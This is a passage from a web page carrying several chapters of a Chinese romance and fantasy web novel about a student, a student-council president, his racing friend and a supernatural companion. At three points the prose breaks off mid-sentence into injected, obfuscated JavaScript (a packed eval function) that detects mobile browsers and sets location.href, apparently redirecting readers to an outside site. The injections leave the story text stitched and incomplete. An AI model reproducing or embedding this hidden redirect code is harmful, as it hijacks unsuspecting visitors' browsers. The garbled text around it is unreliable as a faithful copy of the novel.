它们刚才看着还有很远,可不过瞬间就来到了眼前,宛如海鸥的影子掠过水面,嗖一下就从蓝色超跑的的旁边飞过,声音比视觉慢了半拍才传入耳中。 混血男人把车停了下来,边打轮边回头,脸上兴致勃勃,“我靠,玩这么大?早知道我就不开跑车过来了。” 滚滚烟尘落下,他找了个角度停着,拉起手刹,“看样子是要跑来回,咱们就坐在这里看。” 看样子只是观赛而已,没有和裴佑哲碰面的机会,她这才轻松一些。 “不过刚才那俩应该是军然和艾夕的车吧,佑哲开的哪辆?”他问。 “他在那辆黑色赛车的副驾驶。”庄森芽回答。 “噢,我还以为他想露一手呢,结果又是来观战的。再这样下去,他的赛车证都要吃灰了。”说完,男人在周围翻翻找找,却是一无所获,嘀咕着,“这小子从来不知道给兄弟备点烟。” 听他自言自语,她斜睨过去,没说什么。 原来裴佑哲有赛车证,听起来像是个职业车手,难怪开车的感觉和别人不一样呢。 主驾驶的男人终于是在口袋里翻出了一包烟,里面只剩一只,他点燃它,摇开车窗,惬意地望着赛道,“想不想上去也跟他们比比?” 庄森芽严词拒绝,“不想。” 对方一笑,“不想就不想吧,小蓝是温和派的,上限就在这,怎么跑都跑不过那两个,比起来也没什么意思。” 就这还温和派? 发起疯来,人在车里坐,魂在后面追,妥妥的阎王指定用车。 她盯着另一侧车窗,不予理会,没什么和对方好说的,她跟他又不熟,对赛车圈子也不感兴趣。 老老实实坐在车里,等裴佑哲回来,结束这烦闷又精疲力尽的一天,这就是她当下唯一要做的事。 两辆赛车还没有回来,掀起的尘土已然全部落地,周围十分静谧,庄森芽刷着手机消磨时间,从未闻过的香烟味道时不时飘散过来。 就这么安静了半晌,男人抽完了那根香烟,有点突兀地朝坐在副驾驶的人问:“……你真不是佑哲女朋友?” 她轻叹一声,视线都懒得转过去,“真的不是。” 他上下打量了一下她,“你戴的项链我见过,是他准备给前前任女朋友的生日礼物,但是因为分手了,所以没送出去。” 难怪呢,庄森芽还疑惑裴佑哲为什么有那么多女士的首饰,甚至还特意定制了一个十六宫格来装,原来都是些‘情感遗产’。 “你想表达什么?这只是临时借给我的,用完了还得还回去。”她满脑子都是和那人撇清关系,“出门在外,共同行动,我总不能粗衣蓬头,丢上司的人吧。” 男人细致地观察着她的表情,眉头抬高了,他说:“我提他前女友的事,你居然什么反应都没有,看来是真的一点也不喜欢佑哲。” 庄森芽转过头来盯着他,当下是真的有点生气了,这人一点边界感都没有,让人感觉很冒犯,“能不能请你管好自己的事情?我们只是第一次见面,没熟到可以聊这些。” 他装出一副被恐吓住的模样,抬起双手,身体往后退,“好的好的。” 可这毕竟是装模作样,不到片刻,他那副投降的姿态就消失的无影无踪,颇有兴致地摸着自己的下巴,喃喃自语,“原来如此,我明白是怎么回事了……” 庄森芽懒得思考他在说什么,继续歪个脑袋玩手机。 男人空了半晌,有点突兀地说:“你知道吗,我赛车从来没赢过佑哲。” 她一声不吭,左耳朵听右耳朵出。 两手放在方向盘上,他观望了一下四周,似乎有起步的打算,嘴里嘟囔着,“各方各面都没赢过。” 她不在乎,只是坐正了些,免得等下加速起步把她脖子扭断了。 “真新奇,”副驾驶的人不理他,他就自言自语,话语听起来很跳跃,“我头一次见他倒追。” 没等庄森芽回味过来这话是什么意思,就见男人把方向盘往右打死,猛然一脚踩上油门,她顿时感觉天旋地转,手机像鱼一样窜了出去,掉在座位的缝隙里。 “唔!” 安全带都锁紧了,然而身体还是斜着甩了出去,她一下子倒在两座之间,巨大的离心力让她直不起身来。 幸好只是猛甩了这么一下,跑车立刻停了下来。 下一刻,她感觉到一只手搂住了自己的右肩,抬头,混血男人盯着她,浅色的眸色自下而上倒显得深情起来,“既然不是佑哲的女朋友,要不要和我交往?” 庄森芽拧紧了眉,觉得不可理喻,“……啊?” “第一眼我就挺喜欢你的。” ……这么直白吗。 不过有些有钱人的确不在这方面浪费时间,喜欢就说,不行就撤,反正还有下一个。 庄森芽不明白自己哪点招人喜欢,尤其是招这些一看就是花花肠子的人喜欢,这可算不上是什么好桃花,她觉得自己挺老实本分的,按理来说会吸引相似的人,可怎么上了大学之后摊上的却是这一类? “我都不认识你。”她推他的手,但是力气赛不过人家,每每这个时候都觉得自己弱到爆炸,堪称肌无力患者,简直想立刻跑去健身房大练特练。 “我叫历夏。” “请你放开我。”她一脸严肃地说。 “只要你答应和我交往。” “我拒绝。” “别拒绝得这么快嘛。”历夏笑着说,脸颊上浮现出两个浅浅的酒窝,他看起来毫无挫败感,或许是因为曾经追求什么人都从未有过失手,这样的经历给了他内源性的无尽自信,“你喜欢什么我都可以给你买,想去哪里玩我都可以带你去,任何令你开心的愿望我都可以想办法帮你实现。而你不需要付出什么,只需要给我个机会了解你就行。” 他这段话很聪明。 丝毫没提感情的事,似乎知道对一个没有动心的人提爱情是件蠢事;话里都是令人心动的利益,代价听起来不值一提,他知道人们喜欢听什么。 如果只是玩玩而已,像他这样的人简直是再合适不过的选择,是个移动金库不说,性格看起来也不是特别强势的那一类,有话能商量,是个正常人。虽然搂上来的那只手有点冒犯,但目的只是创造一个不被打断的密切的交流空间,没有更进一步不合时宜的举动。 和这种人交往没什么坏处,两个人都知道是短期关系,所以也就不会将自己沉重的期许压在彼此的肩上,快乐是唯一的追求,度过充满新鲜感的三个月,一旦有厌倦的苗头就和平分手。 她能从他身上狠狠薅一把羊毛,把未来五年想要的东西全都买了,怎么看都是一笔划算的买卖。 分手的时候他也不大可能秋后算账,不像那些把自己大半家产都搭进去只为追求一个女生的男人——他们那种人把感情的事当做是高风险投资,就像股票一样,一旦钱投进去了却没有回本,不疯也得暴怒。 到时候,要承受后果的就是女方了,仅仅是被索要曾经给过的钱都算好的,更有甚者会诉诸武力,一副输不起却偏要玩的模样。 但有钱人懒得去为那投入的一点点资金大动干戈,反正快乐已经收获,愉悦乃是无价,贵一点便宜一点对于根本不在一个量级的资产来说,没什么区别。 话虽这么说,庄森芽却丝毫没有接受的念头。 当下的她确实有点穷,但吃饱喝足不成问题,漫画有点收入,再过几年她也会去工作,不需要谁来突然改变她当下的生活模式,把缓慢上升的人生道路搅得乱七八糟。 “你说的那些我都不需要。”她上身还在与对方的那只手对抗,想要从中挣脱出来,脖颈因此而梗着,像是只高傲的天鹅。 名叫历夏的男人眨眨眼,眼里闪过迷茫的光,好像人生第一次碰壁一般,比起受挫感,最先有的是不知道为什么会是这种展开的困惑,“……都不需要?怎么可能呢,是人就会有欲望……那你想要什么?” “我要你放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不得已,她开始与他辩论,想要压压对方不饶不休的势头,“不好意思,我上的是中外合办大学,这样的机会多的是。” “就算有机会,但不一定属于你呀。”历夏说。 这段话不知是直率还是别有用心的讽刺,总之不是那么好听。 “你怎么知道?” “除非你喜欢倒贴那些外来的。” “总比你这种两不像要强。”她被扰得实在有些烦,忍不住开始人身攻击了,两人之间突然出现了一丝火药味。 历夏脸上的笑容不见了,他倒是心里有什么脸上就浮现什么,一点城府都没有,“我明白了,难怪你说什么都不答应我,原来是喜欢那些洋屁股。” 她露出厌恶的神情,卯足了劲,一下子从他手里挣脱出来,“恶心。” 她丢下这个词,伸手就要去开车门,不管这里是距离场馆很远的赛道,也不管身上是否还有看车的责任,她只想离这个无理的混血男人远一点。 但没等车门打开,不远处突然响起了发动机的轰鸣,定睛看去,只见一个黑色的小点从赛道的尽头疾驰而来。 它速度很快,转瞬之间就来到了近处,是那辆黑白两色的赛车。 开到一半的时候,它偏离了赛道,朝蓝色超跑的方向而来。 车里的庄森芽和历夏都被吸引了注意力,两人原本只是盯着它,可是越看越觉得不对劲。 那辆赛车居然一点减速的意思都没有。 “靠!”历夏喊了一声,一脚油门踩下去,引擎暴怒,却是空转,他还没挂挡。 时间已经来不及了,赛车离他们近在迟尺。 滚滚沙尘掀起,车里的两人紧盯着朝他们袭来的死神,像在巨大危机面前的野生动物一般,僵住不动了。 然而,预想的冲击没有袭来,赛车骤然减速,在距离超跑极近的位置停下,像一把断头台上突然悬停的砍刀。 两人惊魂未定地盯着那辆仿佛在燃烧的赛车,未等它身后的沙尘平复下来,驾驶室的门就被打开了,一个身穿赛车服的人下了车,摘掉头盔扔进车里。 那是裴佑哲,他不知道什么时候换上了一身浅蓝色的赛车服,此刻正气势汹汹朝蓝色跑车的主驾驶而来。 96. 一杆秤 来到超跑主驾驶旁,裴佑哲一把拉开了车门,伸手就把上面的人拽了下去。 “喂,等等——”历夏发出惊叫,有些狼狈地被拖下车,身形不稳,一屁股摔在地上。他似乎有点恼怒,腾一下子站起来,怒视着对他动手的人,“你干什么啊?” 裴佑哲脸色前所未有的难看,比他冷脸对待庄森芽的时候要恐怖千倍万倍,“我才要问,你在我车上干什么。” “我开一下子怎么了?” “我允许过吗?” 两人剑拔弩张,有一言不合就要动手的架势。 历夏指着身后的车,言辞激烈,“你把人家一个姑娘家扔在车上不管,我怕她出什么事,于是带着她找你,你就是这种态度?” 裴佑哲紧绷着脸,“你要是真的出于好心,就应该直接来找我,而不是赖在她身边不走。” 历夏夸张地张开双臂,“你在赛道上跑车呢!我怎么追得上你?” “这倒是,你的确追不上我,历夏。”他突然露出有些鄙夷的视线来。 混血男人的表情有点扭曲,就像被话语刺痛了一样。 裴佑哲接着说:“你就是从来没赢过我,各方各面都没赢过。” 历夏反应了一下,下一刻,他的表情堪称精彩,双目圆睁,青筋暴起,“我靠,你往自己车上装监听?你有病吧!” 裴佑哲丝毫不留情面,“赢不过只会显得你没用,但背后耍手段就是人格有问题了。” 混血男人被气得浑身颤抖,他咬牙切齿,半天却是半句话没憋出来。 最终,他指着对方的鼻子,聊下一句狠话,“你给我等着,裴佑哲。” 说完,他一拧头走了,徒步往来时的路去。 裴佑哲看都没看他一眼,径直上了自己的车,把历夏丢在座位上的烟盒扔了出去,动作十分不屑,就仿佛他扔的不是烟盒,而是那个人一样。 庄森芽听到了全程的对峙,她悄悄打量着主驾驶的人,一时有点不敢吭声。 不知道裴佑哲会不会也朝她发火,毕竟那个历夏动了他的车,归根究底是因为庄森芽没有拦住他。 她搓揉着自己的指尖,心里琢磨着自我检讨的话,局促得就像是犯了错的学生站在一脸严肃的老师面前。 未等她想到什么说辞,就听身旁的人开口了。 “他吓到你了吗?” 庄森芽愣了一下,连忙摇摇头,“没有。” “有没有哪里受伤?” 突如其来的关心让她几乎有点不适应,裴佑哲最近的变化太大,她几乎都要忘了他曾经是一个如何和蔼可亲的人,“没有,我没事。” 他打量了一下她,似乎在思考着些什么,而后,突然,他伸手抓住她的左臂。 “嘶!”那里突然传来一阵闷痛,她这才想起来,不久前历夏刚上车的时候,他猛然启动车辆,导致正要下车的她撞在了副驾台上。 裴佑哲皱起了眉毛,“这叫没事?” “小磕碰,不是什么问题……” 他松开她,语气是严厉的,“下次再遇到这种情况,第一时间给我打电话。” “……好。” 虽然听起来是在关心人,可其中训导的口吻占了居多,和他以前那种纯粹的关怀不大一样,莫名给人一种不得不服从的压力。 裴佑哲翻出自己的手机,给不知什么人在发讯息。 看着对方的手机,庄森芽突然想起来自己的手机还掉在车缝里,于是弯下腰去找。 还好没有掉到很深的地方,指尖探进去,施加点力道就捏出来了。 这个时候,又一辆赛车朝他们跑了过来,庄森芽望过去,看到它车身是橘白两色的,刚才和黑色赛车较量的就是它。 经过怒气冲冲往回走的历夏时,那辆橘色赛车的车窗摇开了,里面探出一个染着红头发的女人,她声音沙哑,像磁石一样吸引人,朝赛道边缘的人喊:“小夏夏怎么气鼓鼓的,受什么委屈了?” 历夏没理她,低着头像是斗牛一样往回走。 橘色赛车继续往前开,来到了蓝色超跑和黑色赛车的所在地。赛车上的两人走了下来,一个是刚才说话的女人,另一个那名叫军然的黑色赛车车主。 女人来到超跑的驾驶室旁,车门还没关,她就撑着车框,弯下腰来,用她明艳动人的眸子盯着里面的裴佑哲,“这是怎么了,你俩又吵架了?” “他的问题。”裴佑哲简略地说。 女人笑了一声,又把身子压低了一些,看到了副驾驶的人,“哟,刚才没看到,车里还有一个美人呢。” 庄森芽点点头,“你好。” 她想在后面加一句‘大美女’,因为这人不仅夸她,礼尚往来她想回应,而且对方有点好看得过分了,去当明星都绰绰有余。 可是觉得说出来觉得油腻,于是还是闭了嘴。 “难怪佑哲刚才要火急火燎赶回来。”女人笑着说。 裴佑哲不吭一声。 庄森芽干笑了两下。 “艾夕,你去把历夏捎上吧,他自己走回去天都黑了。”那辆黑赛车的车主军然跟上来,说道,“正好我开我自己的车回场馆,佑哲也开自己的车走。” “干嘛说得好像已经结束了,”女人说,“才跑了几圈?这就不比了?” 军然看向跑车的主驾驶,“你问他还有心情吗?” 女人望过来,没等开口问,就听裴佑哲一脸阴鸷地张口说:“没心情。” 她挑挑眉,拍拍车框,站直了,“好吧,你不比我也撤了。” “你要是还想来几圈,我可以陪你。”军然说。 艾夕摆摆手,背过身往自己的橘色赛车走,“免咯,小军然,你俩都菜菜的,加在一起我还勉强能假装是教练跟你们玩玩,一个人就算了。” 军然瘪瘪嘴,“让你扫兴了,还真是对不起啊。” 一男一女回到了各自的赛车上,雷动一般的声音响起,不过几秒车的影子就不见了。 两人走后,裴佑哲拉上了车门,他没有立刻启动车辆,而是静坐了一阵子,表情若有所思。 看他一副沉思的模样,庄森芽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493607|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢打扰,于是装作若无其事地看风景,实际有点纠结要不要说点什么。 裴佑哲因为朋友擅动他的车而生气了,而且看起来气得不轻。要怎么样才能让他不那么气愤了?这种时候应该说些什么好,转移话题还是……? 她脑袋里正一团乱麻地思考着,就听旁边的人蓦然开口: “你拒绝历夏最根本的原因,是觉得他不会是一个长期的伴侣吗?” 这个疑问让庄森芽一愣,没想到裴佑哲会问起这方面的事。 听他和那个历夏刚才的交谈,意思是这辆车上装有监听,所以裴佑哲应该是把她和历夏的对话都听到了。 庄森芽庆幸自己没有说什么得罪人的话,不然可能又要被裴佑哲记仇了。 “是,是呀。没有说他不好的意思,但是他看起来不像是会认真谈恋爱的那种……”她谨慎地点评着,虽然历夏刚刚和裴佑哲吵了架,但两人怎么看都是朋友,她不能把话说得太难听,否则等裴佑哲火气消下去了,回过味来,可能会为自己的兄弟打抱不平。 “为什么这么觉得?因为他的性格?”他问。 “……因为有钱吧。”她想了想,说,“给我很多东西,可我又能回报什么呢,这样的关系是不平衡的,不平衡就代表着早晚有一天会失衡,然后分道扬镳。” 裴佑哲听到这里,一时没有说话,他踩下油门,没有用多大的力气,引擎发出略显柔和的轰鸣,车辆在赛道上以对它来说极度缓慢的速度行驶。 两侧的风景向后掠去,她第一次知道跑车居然能被如此温和地驾驶,原来它不只是会暴冲急停。 “所以,你喜欢和你势均力敌的那一类。”裴佑哲盯着正前方的视野,语气听起来像是随口一说,不怎么在意。 庄森芽只当是对方无聊所以随便聊聊,这反而让她轻松许多,“倒也还好?谁不希望自己的日子过得好一点。但是就是……我可能更希望对方在某些方面能依赖我。” “依赖你?”裴佑哲重复着,问她。 她笑起来,聊到这个话题,不知为何会觉得有点兴奋,又有点羞怯。在讨论心中的理想型时,人总是会这样。 “最好是有什么事情非我不可,只有我能做到,只有我能提供给他。”她说,“而就是这个构成了我们之间独一无二的关系,至于金钱样貌那些,自然也就不重要了。” 主驾驶上的人听了,沉思半晌,“……那你身边有这样的人吗?” 她目光瞥向副驾驶的窗外,脑海里并非一片空白,只是每当画面出现,她就自发地抹消它们,“没有吧。” “……” 短暂的交流就此结束,裴佑哲没再说些什么。 他把跑车开回场地中,下去和一些人打了声招呼,说他要走了。而后,他回到车上,打开了去往上茂哈里森大学的导航。 看到导航路线,庄森芽心里感觉到一阵解脱。 终于,这折磨的一天要结束了。 难受的高跟鞋,无聊的车展,不要命的跑车,没有边界感的人,这些都要说拜拜了。 97. 他人呢? 她把项链取了下来,还有耳朵上的黑色耳挂,把它们装在贝雷帽里。当跑车停在学校西门的停车场时,她把它们一并还给了裴佑哲。 男人并没有第一时间接过,盯着她的手,似乎在犹豫什么。 “如果我要你收下它们,你会觉得很贵重吗?”他有些突兀地问。 庄森芽瞪大了眼,连忙点点头,双手递上,“太贵重了!我可受不了,所以你还是赶紧收回去吧。” 不知道项链和耳挂是什么价格,单是一个贝雷帽就有够她受的了。 老妈总是和她说,吃人最嘴短拿人手软,不要接受突如其来的好意,也不要接受无法回馈的礼物,而庄森芽一直把这些谨记在心。 裴佑哲思量了片刻,伸手把帽子连同首饰都抓走,随意地扔在前窗和驾驶台的缝隙间,就仿佛她不要它,它就变成了没什么价值的垃圾一般。 “今天没什么事了。”他说,打开了车门的锁,“明天把上午的时间空出来。” 庄森芽小心翼翼地问:“明天是要做什么?” 她想知道还会有怎样折磨人的考核内容,让自己起码有一个心理准备。 “我的私人健身教练明天请假了。”裴佑哲面不改色地说,“最后拉伸和按摩的环节,我需要有人配合。” 她一听,有点没转过弯来。 这是要她去干嘛,当按摩师? 裴佑哲此刻转过头来,盯着她,“你还有什么事吗?” 这句话听起来是个普通的问句,可庄森芽听着却是‘你从我车上下去’的逐客令。 “没有了没有了。”她快速地说,伸手推开了车门钻了下去,对于在这辆高跟鞋不友好的跑车里上上下下这件事,她感觉自己已经非常得心应手了。 此刻的时间是下午,临近傍晚,天刚有一些暗,正是学生们结伴去校外觅食的时候。 她从跑车上下来,顿时吸引来不少目光,瞬间有些后悔,刚才裴佑哲问她要不要收下那些配饰的时候,应该起码把那顶贝雷帽留下来,现在还能帮她遮挡一下面容。 身后响起愠怒的吼声,超跑带着一阵狂风离开了。 她趁校门口的学生都被吸引了注意力,连忙跑向206宿舍楼,所幸停车场离楼门口很近,不到片刻,她就来到了玻璃门外,像是个影子一样钻了进去。 进入熟悉的电梯里,她长长地出了一口气,这才真正意义上地完全松懈下来。 终于结束了…… 而一旦大脑放松,先前没怎么留意的疲惫都找上了门来,她只觉得自己腰酸背痛,小腿往下灌铅一样沉重,精神萎靡不振,整个人像是被吸干了似的。 这一趟陪同可把她累得半死。 回到了宿舍,舍友似乎都去吃饭了,没有一个人在。 她第一件事是坐在自己的座位上,把脚上的刑具卸下来。 穿进平时穿的平底拖鞋时,她几乎是惬意地长叹。 高跟鞋到底是什么鬼才的发明,太反人道了。 紧接着又去洗了个热水澡,换了一身舒适的衣服,出来的时候发现手机上收到了一条信息,裴佑哲通知她明天出发的时间,还让她在今天同样的地方等待。 她回了一个「好的」,面上却是瘪瘪嘴。 都已经这么累了,明天还要去给别人按摩?还有什么拉伸? 骡子也需要休息的啊。 而且她在这方面一窍不通,裴佑哲真不怕她把他按出什么问题来吗。 一想到明天还要去独自面对那个严肃的学生会主席,她就感觉到一阵头疼。 今天是这个所谓的‘一周情侣’考核的第三天,连一半都还没到,她却已经身心俱疲了。 如果还像前两天那样,裴佑哲只是随便给她派发一些学生会的任务就好了,她就可以像之前那样甩手给诺特斯。 可主席今日起似乎改变了主意,所有事情都要她亲力亲为,而且还要在他的眼皮底下,这样一点作弊的空间都没有了。 她叹了口气,站在镜子前,没什么精神头地吹着自己的头发。 说起来,诺特斯去哪了。 好像自从她中午那时上了裴佑哲的跑车之后,男人就再没有出现过。 不过就算他想跟上来也没有办法吧,车里只有两个座位,没有他的位置。 今天如果那个人在的话,会轻松一点吗? 或许吧。虽然她大概率不会允许他显形,但在百无聊赖地陪同裴佑哲参与那些社交场的时候,也许可以听他讲讲莱王星上的故事之类的。 还有,在被那个历夏骚扰的时候,她不指望诺特斯要是在的话能主动伸出援手,但如果事态真的无法控制,她起码还有拉下面子向他求救这个选择。某种程度上,他们算是有合作关系的人,诺特斯不至于这点忙都不帮…… 想到这里,不知为何,却是有一丝小小的怒火在心里灼烧了起来。 他为什么不在?她皱着眉头想。 今天多危险啊,她好几次在极速奔驰的跑车上感觉自己的命都要没了,要是真的出了什么意外,诺特斯就将永远失去他的‘合伙人’,他的愿景也不可能实现了。 不是说她觉得他对她的安危负有什么责任……不,她就是觉得他对她的安危负有责任。 既然还指望她把漫画画下去,并且实现他留在这个世界的心愿,那不就更应该首先确保她的生命安全吗。 想到这里,思绪开始变得有些凝重混乱。 说实话,她有点搞不清诺特斯到底是怎么想的。她原以为自己清楚诺特斯想要什么,可是经过图书馆的那一晚之后,她又不是那么肯定了。 这两天,他们似乎都刻意避开了那晚的事没有提。诺特斯没嘲弄她那天的眼泪和脆弱,她也没有确认他的妥协退让是真是假。 她还记得他说: “不要害怕我,不要害怕我会威胁你,那只是我小小的挣扎。” “如果真的一点也不想见到我,那就像我说的那样消灭我吧。” 那晚的记忆十分割裂,因为在她的印象里,诺特斯是绝对不会说出这种话来的。 一个人不会轻易放弃自己的生命,她只见过两种选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502464|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自我了断的人,一种是可怜的痛苦灵魂,只能以这种方式拯救自己,而另一种则是有着大爱的奉献者,会选择放弃自己的生命去拯救别人。 显然,诺特斯不属于其中的任何一种。 深入去看,他其实相当乐观,这也不难理解,当人拥有无人可匹的实力,当然会自信满满;而那人也绝对不是什么奉献者,他是掠夺者,而非救赎者,不求他拯救什么人,手下不要再制造什么惨案就已经谢天谢地了。 基于这些印象,大脑很自然而言就找到了自圆其说的解释,抹消了让人难以理解的反常。 庄森芽认定那晚的话都是谎言,只有这么理解,才能将一切都合理化。 所以,她其实一直在等他揭开欺骗的假面,露出真实的可怖模样。 可是,这一刻迟迟没有到来。 他就像没事人一样,在她身边荡来荡去,丝毫不提那晚的事,不再强调它,也不否定它。 他就像在等待什么,像坐在阳台的花盆旁,盯着里面褐色的土壤,土里有他亲手埋进去的种子。 诺特斯这种表现,倒让她有点不知道该如何是好了。 他那么轻松自在,毫无威胁,甚至偶尔会显露出温柔的一面。渐渐地,警惕在融化,她感觉有什么渗透过严防死守的心房,拨弄着那颗早已埋下的种子,让它苏醒,使它生根,无法遏制地发芽。 所以她用铁笼罩住它,告诫自己,早晚有一天他会露出獠牙,她承担不起被欺骗的代价。 要是她轻信了他,所有的事情都将按照他的愿望发展,他光是摧残自己曾经所在的世界还不够,还要来荼毒下一个,她的家人、朋友,还有所有那些无辜陌生的人,都将无一幸免。 为了阻止这样的事情发生,她不敢掉以轻心。她必须做好最坏的打算,她都已经想好了。 之所以图书馆那晚会那么崩溃,是因为内心深处已经预料到了最坏的情况。 诺特斯但凡怀有一丝险恶的目的,就绝不能留他在这个世界上。 可是,如果她不配合,他就一定会想办法报复她,她不知道他会怎么做,或许身边的人都会受到牵连,但是比起把这个祸患留给整个世界,她只能选择伤害最小的方式。 她会失去很多,她一定会失去很多。 并不希望这样的事情发生,所以一直处在崩溃的边缘。 而也正因如此,她无比希望,哪怕只是百分之一的可能,诺特斯那晚的话并不是谎言。 如果不是谎言该有多好,如果不是谎言…… 她就能卸下肩上沉重的负担,也可以取走罩在种子上的铁笼。 “你到底在说谎,还是没有呢……”头发差不多干了,她关掉吹风机,盯着镜子里的自己,自言自语。 突然,宿舍里传来一声低沉的轻笑,“在嘀咕什么?” 庄森芽一惊,吹风机一下子掉在洗脸池上,发出撞击的巨响。她没功夫理会,猛然往宿舍内部看去,顿时睁大了眼,连身体都僵硬了起来。 她刚才还在想着的人,居然就这么毫无声息地出现了。 98. 拉扯 诺特斯坐在她的座位上,饶有兴致地盯着她,白色衬衫的袖口是敞开的,衬得他整个人很随意。 “你、能不能不要总是一声不吭地出现!”庄森芽感觉自己的心跳快要蹦出来,多半是被吓得。 “我都在这里坐了有一阵了。”诺特斯耸耸肩,有点无奈,“是你太专注,一直没看到我。” 他站起来,靠近她,习惯性离得很近,就仿佛身体里装着吸引的磁石。 他伸手碰了碰她潮湿的发,将坠在肩膀上的那些拨了下去,“一点心电感应都没有,真让人伤心。” 怎么没有,她一定是感受到了被男人注视的压力,所以才会下意识思考那些乱七八糟的事情。 脖颈处蜻蜓点水般的接触令人在意,但她从很久之前就不闪躲了,因为躲了也没意义,只会让对方觉得有趣,像追捕猎物一样再度百折不挠、乐此不疲地凑上来。 她迫使自己镇定下来,用一句质问掩盖其它的情绪,“不光是突然出现,还喜欢突然消失,你这个下午都干什么去了?” 他笑起来,眼里像有人撒了一把糖,粘稠得发腻,他没直接回答她的疑问,而是说:“很希望我陪在你身边吗?” 她感觉心里痒痒的,像伤口的痂就要脱落时的感觉,又像嫩芽在破土而出,她用指甲掐了掐自己的指尖,用一丝痛感中和那种难耐的瘙痒,“只是觉得你使唤起来还挺趁手的。” 这倒是实话,不管是去外国语大学实地考察那次,还是打扫艺术节场地的那次,他都做得很完美,可以说帮了大忙。 诺特斯的笑意更深了,“有多趁手?” “没到没有你就不行的地步。”她绝不会说些什么他喜欢听的话。 “喔,这样吗。”他说,脚步微微往后撤了一些,拉开了距离,“那我走咯?” 走就走,休想用激将法得逞,让她说出一句挽留的话。 诺特斯往后退,身后的终点是宿舍的窗户,庄森芽怀疑那就是男人离开的路线,毕竟他从来没有走过什么寻常路。 为了表现出毫不在意的模样,她索性不再看他,转而盯着镜子里的自己,拿起一把粗齿木梳开始梳头。 沙,沙。单调的摩擦声是宿舍里唯一的响动,它又变得冷清。 镜子里的人有些疲惫,刚才因突然出现的男人而起的情绪还挂在脸上,可是那些也渐渐冷淡下去了,她的神色变得空洞又无趣。 突然地来,突然地去,停留的时间大概连一分钟都不到,像风一样捉摸不定,她受够这样的男人了,最好再也不要出现,再也不要回来。 不能指望那样一个随心所欲的人会为了什么而停留,前两天的援助或许只是他的一时兴起,他绝对没有那种持之以恒的耐心,所以她也绝对不会寄丝毫的希望于他。 也许那些善意的援助都是他的诡计,为的就是让她放下戒心,开始不由自主地依赖他。一旦这种习惯形成了,就成为了容易被人拿捏的把柄,成为他为所欲为的垫脚石。 她绝对不会允许这种事情发生,她绝对不会被他表现出来的一点点善心所迷惑,她一个人就能处理好自己的事情。 “走就走,走得越远越好。”她冲着已经听不见这句话的人说。 梳好了头,她俯身去清理水池里的头发,舍友都是爱干净的人,她相较于她们有点拖后腿,不好意思让人家总是替自己收拾烂摊子,所以只能平时多留意一些。 她清理干净水池,再度抬起头来,突然在镜子里看到两个人影。 吓了一跳,心脏都提到嗓子眼,倒吸一口冷气,差点没叫出声来。 诺特斯站在她的身后,笑意一如刚才,丝毫未减。 “你——”庄森芽震惊地盯着镜子里的人,“你怎么没走?” “刚才当然是开玩笑的,”他说着,从背后接近她,两只手穿过腰侧,在她的腹上十指交叉,他弯下腰来,下巴放在肩膀上,在她的耳旁说,“我不会走。” 庄森芽看着镜子里两人的姿势,一瞬间觉得脸色有些发烫,身体都紧绷起来。 这人是不是脑袋哪里有问题,是怎么恬不知耻做出这种动作来的?还是说莱王星上的社交习俗和他们这里不一样?姿势这么缠绵,在他们这里只有情人才会这么做。 诺特斯这家伙果然一点分寸都没有……! 平时那些有些越界的接触,她可以忍忍就忽视过去,但这个不行。 她抓住诺特斯的手,想要把他锁住的双臂解开,“你别离我这么近……” “我累了嘛。”他没有松手的意思。 “你有什么好累的?”庄森芽听了只觉得愤愤不平。 他觉得累?她才是应该觉得累的那一个吧。 “你又没有穿着高跟鞋在无聊的会场站好几个小时,又没有在时速200公里的跑车里提心吊胆!” “但是我全程陪同,也是很消耗精力的。” 她没太听明白,“陪同?陪同什么?” 诺特斯微微侧过脸来,皮肤的摩擦激得她脖子上泛起了一层细小的鸡皮疙瘩。 “你以为我这个下午都在哪?” “我怎么知道。”话虽这么说,但她隐约好像已经知道答案了,她避开镜子里投来的视线,目光游离在洗手台摆放着洗漱用品的一角。 “我都已经尽量选了一条最为朴素的长裙,可你依然能通过一点点缀变成一只小凤凰。”诺特斯在她耳边说着,声音越来越低,就像是有什么不悦的情绪越积越多,“是我小看你了,小画家。” “哈,你终于露出真面目了吧。”庄森芽露出一个看透他的笑容,气焰有些嚣张,“我就说你一开始拿来那条裙子的时候肯定不安好心,想让我出丑?门都没有。” 不要怀疑一个艺术家的审美,就算是半吊子的也不行。 “你怎么会出丑呢。”他没看镜子,而是直接盯着她的侧脸,“我只是不希望有太多的人注意到你。” “怎么,我太引人注目,会给你带来什么麻烦?”她以为他指的是漫画有关的事。 诺特斯金棕色的眼睛黏在她的脸上,就和他整个人一样,像条纯黑苏俄猎狼犬赖在她身上,“的确,会让我有点烦躁。” 他说这话的时候,神情是认真的。 她扫了一眼,立刻撇开视线。 诺特斯抬高一只手,轻 